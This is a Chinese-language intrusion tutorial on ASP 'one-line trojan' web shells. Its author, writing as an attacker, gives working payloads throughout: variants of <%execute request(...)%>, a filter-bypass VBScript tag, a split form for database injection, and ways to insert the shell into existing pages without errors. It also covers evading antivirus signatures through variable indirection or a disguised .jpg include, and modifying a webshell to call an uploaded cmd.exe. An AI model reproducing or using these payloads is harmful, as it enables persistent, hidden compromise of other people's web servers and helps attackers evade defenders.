在入侵过程中,我们常常会遇到这样的问题,因为大马太大,而不能上传,怎么办,这个时候就只能用小马来辅助,但是,小马的语句又被杀,今天我们来说说一句话小马的免杀方法。
众所周之,一句话的语句是<%execute request("密码")%>
1.入侵过程中<%,%>符号被过滤怎么办?我们可以想办法避开<%,%>
<scriptlanguage=VBScript runat=server>execute request("cmd")</Script>
2.网络中流传的最小的木马代码是<%eval request("#")%> 如过连这也写不下怎么办?将木马分开写就好了!
<%Y=request("x")%> <%execute(Y)%> [code]
这样分开写提交到数据库就没问题了!
不过,在ACCESS数据库中新增加的数据物理位置是在旧数据之前的,所以要先写<%execute(Y)%>部分。写好后在客户端写密码时除了填写"x"以外的任何字符都可以,如果填了"x"就会出错!
3.插入一句话容易爆错,例如
[code]
Sub unlockPost()
Dim id,replyid,rs,posttable
id=Request("id")
replyid=Request("replyid")
If Not IsNumeric(id) or id="" Then
写成
Sub unlockPost(<%eval request("#")%>)
Dim id,replyid,rs,posttable
id=Request("id")
replyid=Request("replyid")
If Not IsNumeric(id) or id="" Then
就可以了,也可以写成带容错语句的格式!!
<%if request("cmd")<>""then execute request("cmd")%>
4.一句话木马到两句话木马的转型!
一句话木马服务端原型:<%execute request("value")%> ,
变形后:<%On Error Resume Next execute request("value")%> ,
至于为什么要用两句话木马呢,是由于使我们的后门更加隐蔽。
我也试过用一句话插入WellShell的某个ASP文件里面,可是访问时经常出错,而插入两句话木马服务端却可以正常访问了,对站点的页面无任何影响。
这样就达到了隐蔽性更强的目的了,他管理员总不会连自己的网页文件都删了吧。
现在我的WellShell都有这样的后门.选择要插入两句话木马的ASP文件要注意,选一些可以用IE访问的ASP文件,不要选conn.asp这样的文件来插入。当然,连接两句话木马的客户端仍然是用一句木马的客户端,不用修改。
5.一句话免杀:
一:变形法
比如:eval(request("#"))这样的马儿呢,一般情况下是不被杀的。但实际上,经常杀毒软件会把eval(request列为特征码。所以我们变形一下
E=request("id")
eval(E)
这样可达到免杀的目的。
例如:<%execute request("1")%>变形后:
<%E=request("1")
execute E%>
当然,这种变形是最好做的。
介绍第二种方法:因为很多管理员很聪明,它会检查ASP文件中的execute和eval函数。所以呢,不管你怎么反编译,它最终总是要用其中的一个函数 来解释运行,所以还是被发现了。好么,我们用外部文件来调用。建一个a.jpg或者任何不被发现的文件后缀或文件名。写入 execute(request("#"))当然,你可以先变形后现放上去。然后在ASP文件中插入
<!--#include file="a.jpg" -->
来引用它,即可。
不过,管理员可以通过对比文件的方式找到修改过的文件,不过这种情况不多
6.在WEBSHELL中使用命令提示
在 使用ASP站长助手6.0时点击命令提示符显示“没有权限”的时候,可以使用ASP站长助手上传CMD.exe到你的WEBSHELL目录(其它目录也 行,把上传以后的CMD.exe绝对路径COPY出来),再修改你的WEBSHELL找到调用CMD.EXE的代码。原来的代码如下
.exec("cmd.exe /c "&DefCmd).stdout.readall
修改为
.exec("你想上传的cmd.exe绝对路径" /c"&DefCmd).stdout.readall
比如你上传到的目录是D:\web\www\cmd.exe,那么就修改成
.exec("D:\web\www\cmd.exe /c"&DefCmd).stdout.readall